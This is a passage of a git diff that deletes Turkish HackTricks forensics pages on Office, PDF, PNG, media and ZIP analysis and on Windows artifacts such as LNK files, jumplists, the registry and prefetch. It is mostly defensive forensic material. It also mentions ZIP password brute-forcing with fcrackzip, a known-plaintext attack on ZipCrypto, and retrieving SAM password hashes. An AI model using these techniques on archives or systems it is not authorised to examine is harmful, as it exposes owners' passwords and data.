a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ /dev/null @@ -1,18 +0,0 @@ -# Office dosyası analizi - -{{#include ../../../banners/hacktricks-training.md}} - -Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresini kontrol edin. Bu sadece bir özet: - -Microsoft, iki ana türü **OLE formatları** (RTF, DOC, XLS, PPT gibi) ve **Office Open XML (OOXML) formatları** (DOCX, XLSX, PPTX gibi) olan birçok ofis belge formatı oluşturmuştur. Bu formatlar makrolar içerebilir, bu da onları kimlik avı ve kötü amaçlı yazılım hedefleri haline getirir. OOXML dosyaları, dosya ve klasör hiyerarşisini ve XML dosyası içeriklerini ortaya çıkaran zip konteynerleri olarak yapılandırılmıştır. - -OOXML dosya yapısını keşfetmek için bir belgeyi açmak için kullanılan komut ve çıktı yapısı verilmiştir. Bu dosyalarda veri gizleme teknikleri belgelenmiştir ve CTF zorlukları içinde veri gizleme konusunda devam eden yenilikleri göstermektedir. - -Analiz için, **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım dağıtım vektörleri olarak hizmet eden gömülü makroları tanımlama ve analiz etme konusunda yardımcı olur; genellikle ek kötü amaçlı yükleri indirip çalıştırırlar. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan gerçekleştirilebilir; bu, kesme noktaları ve izleme değişkenleri ile hata ayıklamaya olanak tanır. - -**oletools**'un kurulumu ve kullanımı basittir; pip ile kurulum ve belgelerden makro çıkarma komutları sağlanmıştır. Makroların otomatik olarak çalıştırılması, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir. -```bash -sudo pip3 install -U oletools -olevba -c /path/to/document #Extract macros -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md deleted file mode 100644 index 420430f62..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ /dev/null @@ -1,20 +0,0 @@ -# PDF Dosya analizi - -{{#include ../../../banners/hacktricks-training.md}} - -**Daha fazla bilgi için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) - -PDF formatı, karmaşıklığı ve verileri gizleme potansiyeli ile bilinir, bu da onu CTF adli bilişim zorlukları için bir odak noktası haline getirir. Düz metin unsurlarını, sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerdeki betikleri içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyaline](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF'ye özel bir düzenleyici kullanılabilir. - -PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler şunlarda gizlenebilir: - -- Görünmez katmanlar -- Adobe tarafından sağlanan XMP meta veri formatı -- Artan nesil -- Arka planla aynı renkteki metin -- Resimlerin arkasındaki metin veya üst üste binen resimler -- Gösterilmeyen yorumlar - -Özel PDF analizi için, [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemleri üzerine rehberi gibi kaynaklar, artık orijinal konumunda barındırılmasa da, hala değerli bilgiler sunmaktadır. [Rehberin bir kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini tarafından hazırlanan [PDF formatı hileleri](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md deleted file mode 100644 index 7796d8d36..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -**PNG dosyaları**, **kaybı olmayan sıkıştırma** özellikleri nedeniyle **CTF zorlukları** için yüksek bir itibara sahiptir ve gizli verilerin gömülmesi için idealdir. **Wireshark** gibi araçlar, PNG dosyalarının verilerini ağ paketleri içinde analiz ederek, gömülü bilgileri veya anormallikleri ortaya çıkarmaya olanak tanır. - -PNG dosyası bütünlüğünü kontrol etmek ve bozulmaları onarmak için **pngcheck** kritik bir araçtır; PNG dosyalarını doğrulamak ve teşhis etmek için komut satırı işlevselliği sunar ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Dosyalar basit onarımların ötesindeyse, [OfficeRecovery'nin PixRecovery](https://online.officerecovery.com/pixrecovery/) gibi çevrimiçi hizmetler, **bozulmuş PNG'leri onarmak** için web tabanlı bir çözüm sunarak CTF katılımcıları için kritik verilerin kurtarılmasına yardımcı olur. - -Bu stratejiler, CTF'lerde kapsamlı bir yaklaşımın önemini vurgular; gizli veya kaybolmuş verileri ortaya çıkarmak ve kurtarmak için analitik araçlar ve onarım tekniklerinin bir karışımını kullanır. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md deleted file mode 100644 index c21b84003..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ /dev/null @@ -1,17 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -**Ses ve video dosyası manipülasyonu**, **CTF adli bilişim zorlukları** için temel bir unsurdur ve gizli mesajları saklamak veya ortaya çıkarmak için **steganografi** ve meta veri analizinden yararlanır. **[mediainfo](https://mediaarea.net/en/MediaInfo)** ve **`exiftool`** gibi araçlar, dosya meta verilerini incelemek ve içerik türlerini tanımlamak için gereklidir. - -Ses zorlukları için, **[Audacity](http://www.audacityteam.org/)**, dalga formlarını görüntülemek ve ses spektrumlarını analiz etmek için öne çıkan bir araçtır; bu, ses içinde kodlanmış metni ortaya çıkarmak için gereklidir. **[Sonic Visualiser](http://www.sonicvisualiser.org/)**, detaylı spektrum analizi için şiddetle tavsiye edilir. **Audacity**, gizli mesajları tespit etmek için parçaları yavaşlatma veya tersine çevirme gibi ses manipülasyonlarına olanak tanır. **[Sox](http://sox.sourceforge.net/)**, ses dosyalarını dönüştürme ve düzenleme konusunda mükemmel bir komut satırı aracıdır. - -**En Az Anlamlı Bitler (LSB)** manipülasyonu, ses ve video steganografisinde yaygın bir tekniktir ve medya dosyalarının sabit boyutlu parçalarını kullanarak verileri gizlice yerleştirir. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**, **DTMF tonları** veya **Morse kodu** olarak gizlenmiş mesajları çözmek için faydalıdır. - -Video zorlukları genellikle ses ve video akışlarını bir araya getiren konteyner formatlarını içerir. **[FFmpeg](http://ffmpeg.org/)**, bu formatları analiz etmek ve manipüle etmek için başvurulan araçtır; içeriği de-multiplexing yapabilir ve oynatabilir. Geliştiriciler için, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**, FFmpeg'in yeteneklerini Python'a entegre ederek gelişmiş scriptable etkileşimler sağlar. - -Bu araçlar dizisi, CTF zorluklarında gereken çok yönlülüğü vurgular; katılımcılar, ses ve video dosyalarında gizli verileri ortaya çıkarmak için geniş bir analiz ve manipülasyon teknikleri yelpazesini kullanmalıdır. - -## References - -- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md deleted file mode 100644 index 449b26b52..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ /dev/null @@ -1,21 +0,0 @@ -# ZIP'ler için hileler - -{{#include ../../../banners/hacktricks-training.md}} - -**Komut satırı araçları**, **zip dosyalarını** yönetmek için, zip dosyalarını teşhis etmek, onarmak ve kırmak için gereklidir. İşte bazı anahtar yardımcı programlar: - -- **`unzip`**: Bir zip dosyasının neden açılmadığını gösterir. -- **`zipdetails -v`**: Zip dosyası format alanlarının ayrıntılı analizini sunar. -- **`zipinfo`**: Bir zip dosyasının içeriğini çıkarmadan listeler. -- **`zip -F input.zip --out output.zip`** ve **`zip -FF input.zip --out output.zip`**: Bozulmuş zip dosyalarını onarmaya çalışır. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zip şifrelerini brute-force ile kırmak için bir araç, yaklaşık 7 karaktere kadar olan şifreler için etkilidir. - -[Zip dosyası format spesifikasyonu](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT), zip dosyalarının yapısı ve standartları hakkında kapsamlı bilgiler sunar. - -Şunu belirtmek önemlidir ki, şifre korumalı zip dosyaları **içindeki dosya adlarını veya dosya boyutlarını şifrelemez**, bu, RAR veya 7z dosyalarıyla paylaşılmayan bir güvenlik açığıdır; bu dosyalar bu bilgileri şifreler. Ayrıca, daha eski ZipCrypto yöntemiyle şifrelenmiş zip dosyaları, sıkıştırılmış bir dosyanın şifrelenmemiş bir kopyası mevcutsa **düz metin saldırısına** karşı savunmasızdır. Bu saldırı, zip'in şifresini kırmak için bilinen içeriği kullanır; bu zayıflık [HackThis'in makalesinde](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) ve [bu akademik çalışmada](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) detaylandırılmıştır. Ancak, **AES-256** şifrelemesiyle güvence altına alınmış zip dosyaları bu düz metin saldırısına karşı bağışıklık gösterir, bu da hassas veriler için güvenli şifreleme yöntemlerinin seçilmesinin önemini vurgular. - -## Referanslar - -- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md deleted file mode 100644 index 9140d9cb6..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ /dev/null @@ -1,496 +0,0 @@ -# Windows Artifacts - -## Windows Artifacts - -{{#include ../../../banners/hacktricks-training.md}} - - -## Genel Windows Artifaktları - -### Windows 10 Bildirimleri - -` \Users\\AppData\Local\Microsoft\Windows\Notifications` yolunda `appdb.dat` (Windows yıldönümünden önce) veya `wpndatabase.db` (Windows Yıldönümünden sonra) veritabanını bulabilirsiniz. - -Bu SQLite veritabanının içinde, ilginç veriler içerebilecek tüm bildirimlerin (XML formatında) bulunduğu `Notification` tablosunu bulabilirsiniz. - -### Zaman Çizelgesi - -Zaman çizelgesi, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve çalıştırılan uygulamaların **kronolojik geçmişini** sağlayan bir Windows özelliğidir. - -Veritabanı `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve bu araç 2 dosya oluşturur, bu dosyalar** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir. - -### ADS (Alternatif Veri Akışları) - -İndirilen dosyalar, intranet, internet vb. üzerinden **nasıl** **indirildiğini** gösteren **ADS Zone.Identifier** içerebilir. Bazı yazılımlar (tarayıcılar gibi) genellikle dosyanın indirildiği **URL** gibi **daha fazla** **bilgi** de ekler. - -## **Dosya Yedekleri** - -### Geri Dönüşüm Kutusu - -Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu**, sürücünün kökünde **`$Recycle.bin`** klasöründe bulunur (`C:\$Recycle.bin`).\ -Bu klasörde bir dosya silindiğinde 2 özel dosya oluşturulur: - -- `$I{id}`: Dosya bilgileri (silindiği tarih) -- `$R{id}`: Dosyanın içeriği - -![](<../../../images/image (486).png>) - -Bu dosyalara sahip olduğunuzda, silinen dosyaların orijinal adresini ve silindiği tarihi almak için [**Rifiuti**](https://github.com/abelcheung/rifiuti2) aracını kullanabilirsiniz (Vista – Win10 için `rifiuti-vista.exe` kullanın). -``` -.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle -``` -![](<../../../images/image (495) (1) (1) (1).png>) - -### Hacim Gölgesi Kopyaları - -Gölge Kopyası, Microsoft Windows'ta yer alan ve bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen bir teknolojidir; bu, dosyalar kullanılırken bile mümkündür. - -Bu yedekler genellikle dosya sisteminin kökünden `\System Volume Information` içinde bulunur ve isimleri aşağıdaki resimde gösterilen **UID'lerden** oluşur: - -![](<../../../images/image (520).png>) - -**ArsenalImageMounter** ile adli görüntüyü monte ederek, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) aracı, bir gölge kopyasını incelemek ve hatta gölge kopyası yedeklerinden **dosyaları çıkarmak** için kullanılabilir. - -![](<../../../images/image (521).png>) - -Kayıt defteri girişi `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`, **yedeklenmeyecek** dosyaları ve anahtarları içerir: - -![](<../../../images/image (522).png>) - -Kayıt defteri `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` ayrıca `Hacim Gölgesi Kopyaları` hakkında yapılandırma bilgilerini içerir. - -### Ofis Otomatik Kaydedilen Dosyalar - -Ofis otomatik kaydedilen dosyalarını şurada bulabilirsiniz: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` - -## Shell Öğeleri - -Bir shell öğesi, başka bir dosyaya nasıl erişileceği hakkında bilgi içeren bir öğedir. - -### Son Belgeler (LNK) - -Windows, kullanıcı bir dosyayı **açtığında, kullandığında veya oluşturduğunda** bu **kısayolları** **otomatik olarak** **oluşturur**: - -- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -- Ofis: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` - -Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı da oluşturulur. - -Bu otomatik olarak oluşturulan bağlantı dosyaları, **bir dosya** **mi** yoksa **bir klasör** **mü** olduğu gibi, **dosyanın MAC zamanları**, dosyanın saklandığı yerin **hacim bilgileri** ve **hedef dosyanın klasörü** hakkında bilgi **içerir**. Bu bilgiler, dosyalar silinirse kurtarmak için faydalı olabilir. - -Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk** **kullanıldığı** **zamanı** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın en son **kullanıldığı** **zamanı** gösterir. - -Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) kullanabilirsiniz. - -Bu araçta **2 set** zaman damgası bulacaksınız: - -- **İlk Set:** -1. FileModifiedDate -2. FileAccessDate -3. FileCreationDate -- **İkinci Set:** -1. LinkModifiedDate -2. LinkAccessDate -3. LinkCreationDate. - -İlk zaman damgası seti, **dosyanın kendisine ait zaman damgalarını** referans alır. İkinci set, **bağlantılı dosyanın zaman damgalarını** referans alır. - -Aynı bilgiyi Windows CLI aracı olan [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ile de alabilirsiniz. -``` -LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs -``` -Bu durumda, bilgiler bir CSV dosyası içinde kaydedilecektir. - -### Jumplists - -Bunlar, her uygulama için belirtilen son dosyalardır. Her uygulamada erişebileceğiniz **bir uygulama tarafından kullanılan son dosyaların** listesidir. **Otomatik olarak veya özel olarak** oluşturulabilirler. - -Otomatik olarak oluşturulan **jumplists**, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` içinde saklanır. Jumplists, `{id}.autmaticDestinations-ms` formatına göre adlandırılır; burada başlangıç ID'si uygulamanın ID'sidir. - -Özel jumplists, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` içinde saklanır ve genellikle dosya ile ilgili **önemli** bir şey olduğunda uygulama tarafından oluşturulurlar (belki favori olarak işaretlenmiştir). - -Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **ilk kez erişildiği zamanı** ve **değiştirilme zamanı** son erişim zamanını gösterir. - -Jumplists'i [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) kullanarak inceleyebilirsiniz. - -![](<../../../images/image (474).png>) - -(_JumplistExplorer tarafından sağlanan zaman damgalarının jumplist dosyasının kendisiyle ilgili olduğunu unutmayın_) - -### Shellbags - -[**Shellbags nedir öğrenmek için bu bağlantıyı takip edin.**](interesting-windows-registry-keys.md#shellbags) - -## Windows USB'lerinin Kullanımı - -Bir USB cihazının kullanıldığını belirlemek mümkündür, bunun için: - -- Windows Recent Klasörü -- Microsoft Office Recent Klasörü -- Jumplists - -Bazı LNK dosyalarının orijinal yolu işaret etmek yerine WPDNSE klasörüne işaret ettiğini unutmayın: - -![](<../../../images/image (476).png>) - -WPDNSE klasöründeki dosyalar, orijinal dosyaların bir kopyasıdır, bu nedenle PC'nin yeniden başlatılmasında hayatta kalmazlar ve GUID bir shellbag'den alınır. - -### Kayıt Bilgileri - -[USB bağlı cihazlar hakkında ilginç bilgileri hangi kayıt anahtarlarının içerdiğini öğrenmek için bu sayfayı kontrol edin](interesting-windows-registry-keys.md#usb-information). - -### setupapi - -USB bağlantısının ne zaman gerçekleştiği hakkında zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` için arama yapın). - -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) - -### USB Dedektifi - -[**USBDetective**](https://usbdetective.com) bir görüntüye bağlı USB cihazları hakkında bilgi almak için kullanılabilir. - -![](<../../../images/image (483).png>) - -### Tak ve Çalıştır Temizleme - -'Tak ve Çalıştır Temizleme' olarak bilinen planlı görev, esasen eski sürücü sürümlerinin kaldırılması için tasarlanmıştır. En son sürücü paket sürümünü koruma amacıyla belirtilmiş olmasına rağmen, çevrimiçi kaynaklar bunun 30 gün boyunca etkin olmayan sürücüleri de hedef aldığını önermektedir. Bu nedenle, son 30 günde bağlanmamış çıkarılabilir cihazların sürücüleri silinme riski altındadır. - -Görev aşağıdaki yolda bulunmaktadır: -`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. - -Görevin içeriğini gösteren bir ekran görüntüsü sağlanmıştır: -![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) - -**Görevin Ana Bileşenleri ve Ayarları:** - -- **pnpclean.dll**: Bu DLL, gerçek temizleme işlemini gerçekleştirir. -- **UseUnifiedSchedulingEngine**: `TRUE` olarak ayarlanmıştır, genel görev zamanlama motorunun kullanıldığını gösterir. -- **MaintenanceSettings**: -- **Period ('P1M')**: Görev Zamanlayıcı'nın, düzenli Otomatik bakım sırasında temizleme görevini aylık olarak başlatmasını yönlendirir. -- **Deadline ('P2M')**: Görev Zamanlayıcı'ya, görev iki ardışık ay boyunca başarısız olursa, acil Otomatik bakım sırasında görevi yürütmesini talimat verir. - -Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar ve ardışık hatalar durumunda görevi yeniden denemek için önlemler içerir. - -**Daha fazla bilgi için kontrol edin:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) - -## E-postalar - -E-postalar **2 ilginç bölüm içerir: E-posta başlıkları ve içeriği**. **Başlıklarda** aşağıdaki gibi bilgiler bulabilirsiniz: - -- **Kim** e-postaları gönderdi (e-posta adresi, IP, e-postayı yönlendiren mail sunucuları) -- **Ne zaman** e-posta gönderildi - -Ayrıca, `References` ve `In-Reply-To` başlıkları içinde mesajların ID'sini bulabilirsiniz: - -![](<../../../images/image (484).png>) - -### Windows Mail Uygulaması - -Bu uygulama, e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\\AppData\Local\Comms\Unistore\data\3\` içindeki alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir. - -E-postaların **meta verileri** ve **kişiler** **EDB veritabanı** içinde bulunabilir: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` - -**Uzantıyı** `.vol`'dan `.edb`'ye değiştirin ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracını kullanarak açabilirsiniz. `Message` tablosunda e-postaları görebilirsiniz. - -### Microsoft Outlook - -Exchange sunucuları veya Outlook istemcileri kullanıldığında bazı MAPI başlıkları olacaktır: - -- `Mapi-Client-Submit-Time`: E-postanın gönderildiği zaman sistemin zamanı -- `Mapi-Conversation-Index`: İletişim dizisinin çocuk mesajlarının sayısı ve her mesajın zaman damgası -- `Mapi-Entry-ID`: Mesaj tanımlayıcısı. -- `Mappi-Message-Flags` ve `Pr_last_Verb-Executed`: MAPI istemcisi hakkında bilgi (mesaj okundu mu? okunmadı mı? yanıtlandı mı? yönlendirildi mi? ofis dışında mı?) - -Microsoft Outlook istemcisinde, gönderilen/alınan tüm mesajlar, kişi verileri ve takvim verileri, aşağıdaki konumda bir PST dosyasında saklanır: - -- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) -- `%USERPROFILE%\AppData\Local\Microsoft\Outlook` - -Kayıt yolu `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`, kullanılan dosyayı gösterir. - -PST dosyasını [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) aracıyla açabilirsiniz. - -![](<../../../images/image (485).png>) - -### Microsoft Outlook OST Dosyaları - -Bir **OST dosyası**, Microsoft Outlook'un **IMAP** veya bir **Exchange** sunucusuyla yapılandırıldığında oluşturulur ve PST dosyasına benzer bilgileri saklar. Bu dosya, sunucu ile senkronize edilir, **son 12 ay** için verileri saklar ve **maksimum 50GB** boyutundadır ve PST dosyasıyla aynı dizinde bulunur. Bir OST dosyasını görüntülemek için [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) kullanılabilir. - -### Ekleri Kurtarma - -Kaybolan ekler şunlardan kurtarılabilir: - -- **IE10 için**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- **IE11 ve üzeri için**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` - -### Thunderbird MBOX Dosyaları - -**Thunderbird**, verileri saklamak için **MBOX dosyaları** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` konumundadır. - -### Görüntü Küçültmeleri - -- **Windows XP ve 8-8.1**: Küçültme içeren bir klasöre erişmek, silinmiş olsa bile görüntü önizlemelerini saklayan bir `thumbs.db` dosyası oluşturur. -- **Windows 7/10**: `thumbs.db`, UNC yolu üzerinden erişildiğinde oluşturulur. -- **Windows Vista ve daha yeni**: Küçültme önizlemeleri, `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` içinde **thumbcache_xxx.db** adında dosyalarla merkezi olarak saklanır. [**Thumbsviewer**](https://thumbsviewer.github.io) ve [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) bu dosyaları görüntülemek için araçlardır. - -### Windows Kayıt Bilgileri - -Windows Kayıt Defteri, kapsamlı sistem ve kullanıcı etkinlik verilerini saklar ve aşağıdaki dosyalarda bulunur: - -- Çeşitli `HKEY_LOCAL_MACHINE` alt anahtarları için `%windir%\System32\Config`. -- `HKEY_CURRENT_USER` için `%UserProfile%{User}\NTUSER.DAT`. -- Windows Vista ve sonraki sürümler, `HKEY_LOCAL_MACHINE` kayıt dosyalarını `%Windir%\System32\Config\RegBack\` içinde yedekler. -- Ayrıca, program yürütme bilgileri, Windows Vista ve Windows 2008 Server'dan itibaren `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` içinde saklanır. - -### Araçlar - -Kayıt dosyalarını analiz etmek için bazı araçlar faydalıdır: - -- **Kayıt Defteri Düzenleyici**: Windows'ta yüklüdür. Mevcut oturumun Windows kayıt defterinde gezinmek için bir GUI'dir. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Kayıt dosyasını yüklemenizi ve GUI ile gezinmenizi sağlar. Ayrıca ilginç bilgiler içeren anahtarları vurgulayan Yer İmleri içerir. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Yine, yüklenen kayıt defterinde gezinmenizi sağlayan bir GUI'ye sahiptir ve ayrıca yüklenen kayıt defterinde ilginç bilgileri vurgulayan eklentiler içerir. -- [**Windows Kayıt Kurtarma**](https://www.mitec.cz/wrr.html): Yüklenen kayıt defterinden önemli bilgileri çıkarmak için başka bir GUI uygulamasıdır. - -### Silinen Elemanı Kurtarma - -Bir anahtar silindiğinde, böyle işaretlenir, ancak kapladığı alan gerektiğinde kaldırılmaz. Bu nedenle, **Registry Explorer** gibi araçlar kullanarak bu silinmiş anahtarları kurtarmak mümkündür. - -### Son Yazma Zamanı - -Her Anahtar-Değer, en son ne zaman değiştirildiğini gösteren bir **zaman damgası** içerir. - -### SAM - -**SAM** dosyası/hive, sistemin **kullanıcılar, gruplar ve kullanıcı parolası** hash'lerini içerir. - -`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son giriş zamanını, son başarısız oturumu, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu elde edebilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosyasına/hive'ye **ihtiyacınız vardır**. - -### Windows Kayıt Defterindeki İlginç Girişler - -{{#ref}} -interesting-windows-registry-keys.md -{{#endref}} - -## Çalıştırılan Programlar - -### Temel Windows Süreçleri - -[Bu yazıda](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) şüpheli davranışları tespit etmek için yaygın Windows süreçleri hakkında bilgi edinebilirsiniz. - -### Windows Son Uygulamaları - -Kayıt defteri `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\RecentApps` yolunda, **çalıştırılan uygulama**, **son çalıştırma zamanı** ve **kaç kez** başlatıldığı hakkında bilgi içeren alt anahtarlar bulabilirsiniz. - -### BAM (Arka Plan Etkinlik Modaratörü) - -`SYSTEM` dosyasını bir kayıt defteri düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından çalıştırılan uygulamalar** hakkında bilgi bulabilirsiniz (yoldaki `{SID}`'yi not edin) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içinde) görebilirsiniz. - -### Windows Prefetch - -Önceden alma, bir bilgisayarın, bir kullanıcının **yakın gelecekte erişebileceği** içeriği görüntülemek için gerekli kaynakları sessizce **almayı** sağlamasına olanak tanıyan bir tekniktir, böylece kaynaklara daha hızlı erişilebilir. - -Windows önceden alma, **çalıştırılan programların önbelleklerini** oluşturarak daha hızlı yüklenmelerini sağlar. Bu önbellekler, `C:\Windows\Prefetch` yolunda `.pf` dosyaları olarak oluşturulur. XP/VISTA/WIN7'de 128 dosya ve Win8/Win10'da 1024 dosya sınırı vardır. - -Dosya adı `{program_name}-{hash}.pf` olarak oluşturulur (hash, yürütülebilir dosyanın yolu ve argümanlarına dayanır). W10'da bu dosyalar sıkıştırılmıştır. Dosyanın varlığı, **programın bir noktada çalıştırıldığını** gösterir. - -`C:\Windows\Prefetch\Layout.ini` dosyası, **önceden alınan dosyaların klasörlerinin adlarını** içerir. Bu dosya, **çalıştırma sayısı**, **çalıştırma tarihleri** ve program tarafından **açılan dosyalar** hakkında **bilgi** içerir. - -Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) aracını kullanabilirsiniz: -```bash -.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" -``` -![](<../../../images/image (487).png>) - -### Superprefetch - -**Superprefetch**, prefetch ile aynı amaca sahiptir, **programları daha hızlı yüklemek** için neyin yükleneceğini tahmin eder. Ancak, prefetch hizmetinin yerini almaz.\ -Bu hizmet, `C:\Windows\Prefetch\Ag*.db` konumunda veritabanı dosyaları oluşturur. - -Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman dilimleri** ve **zaman damgaları** bulunabilir. - -Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) aracı 